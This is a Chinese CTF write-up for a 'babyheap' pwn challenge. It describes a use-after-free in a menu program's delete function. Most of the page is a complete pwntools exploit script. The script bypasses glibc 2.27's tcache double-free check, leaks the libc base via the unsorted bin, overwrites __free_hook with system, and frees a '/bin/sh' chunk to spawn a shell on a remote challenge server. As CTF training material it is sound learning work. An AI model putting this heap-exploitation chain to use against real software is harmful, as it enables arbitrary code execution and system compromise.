当前位置: 首页 > 工具软件 > Free-SA > 使用案例 >

babyheap(uaf ,绕过tcache doublefree检测)

牟子真
2023-12-01

babyheap

程序大体一个菜单程序,漏洞点存在于delete函数,free后指针未置零,存在uaf

{
  signed int v2; // [rsp-Ch] [rbp-Ch]
  __int64 v3; // [rsp-8h] [rbp-8h]

  __asm { endbr64 }
  v3 = a1;
  sub_10D0("input index: ");
  v2 = input_num();
  if ( v2 < 0 || v2 > 6 || !heap[v2] )
  {
    sub_10D0("Incorrect idx");
    sub_1130(0LL);
  }
  return sub_10C0(heap[v2]);      <-------------------此处指针未置零
}

可以利用edit的编辑功能,编辑free后的堆绕过libc2.27的doublefree检测,本题最大可申请0x7f的size,对应的是0x90大小的chunk,堆释放doublefree填满tcache后会大于fastbin大小0x80释放到unsortbin中,利用uaf泄露main_arena,得出libc_base,system,free_hook的地址,然后利用doublefree漏洞达到任意地址申请,申请堆到free_hook,改它的值为system,释放填着/bin/sh\x00的堆来触发shell

exp:

from pwn import *
#from LibcSearcher import * 
local_file  = './babyheap'
local_libc  = './libc-2.27.so'
remote_libc = './libc-2.27.so'
#remote_libc = '/home/glibc-all-in-one/libs/buu/libc-2.23.so'
select = 1
if select == 0:
    r = process(local_file)
    libc = ELF(local_libc)
else:
    r = remote('1.14.97.218',20632 )
    libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se      = lambda data               :r.send(data)
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims                         :r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info    = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))
o_g_32_old = [0x3ac3c, 0x3ac3e, 0x3ac42, 0x3ac49, 0x5faa5, 0x5faa6]
o_g_32 = [0x3ac6c, 0x3ac6e, 0x3ac72, 0x3ac79, 0x5fbd5, 0x5fbd6]
o_g_old = [0x45216,0x4526a,0xf02a4,0xf1147]
o_g = [0x45226, 0x4527a, 0xf0364, 0xf1207]
def debug(cmd=''):
     gdb.attach(r,cmd)

#----------------------
def add(size):
    sla('input your choice: \n','1')
    sla('input size: \n',str(size))
def edit(index,content):
    sla('input your choice: \n','2')
    sla('input index: \n',str(index))
    sla('input content: \n',content)
def show(index):
    sla('input your choice: \n','3')
    sla('input index: \n',str(index))
def free(index):
    sla('input your choice: \n','4')
    sla('input index: \n',str(index))

#-------------------------
add(0x7f)
add(0x7f)
add(0x7f)
add(0x7f)
add(0x20)
free(0)
edit(0,'a'*0x78)
free(0)
free(1)
edit(1,'a'*0x78)
free(1)
free(2)
edit(2,'a'*0x78)
free(2)
free(3)
edit(3,'a'*0x70)
free(3)
free(1)
show(3)
#debug()
addr=uu64(ru('\x7f')[-6:])
print(hex(addr))
malloc_hook=addr-96-0x10
libc_base=malloc_hook-libc.sym['__malloc_hook']
free_hook=libc_base+libc.sym['__free_hook']
system=libc_base+libc.sym['system']
print(hex(free_hook))
#--------------------------
print(hex(libc_base))
edit(3,p64(free_hook))
add(0x7f)
add(0x7f)
edit(6,p64(system))
edit(4,'/bin/sh\x00')
free(4)
#---------------------
#debug()
r.interactive()
 类似资料: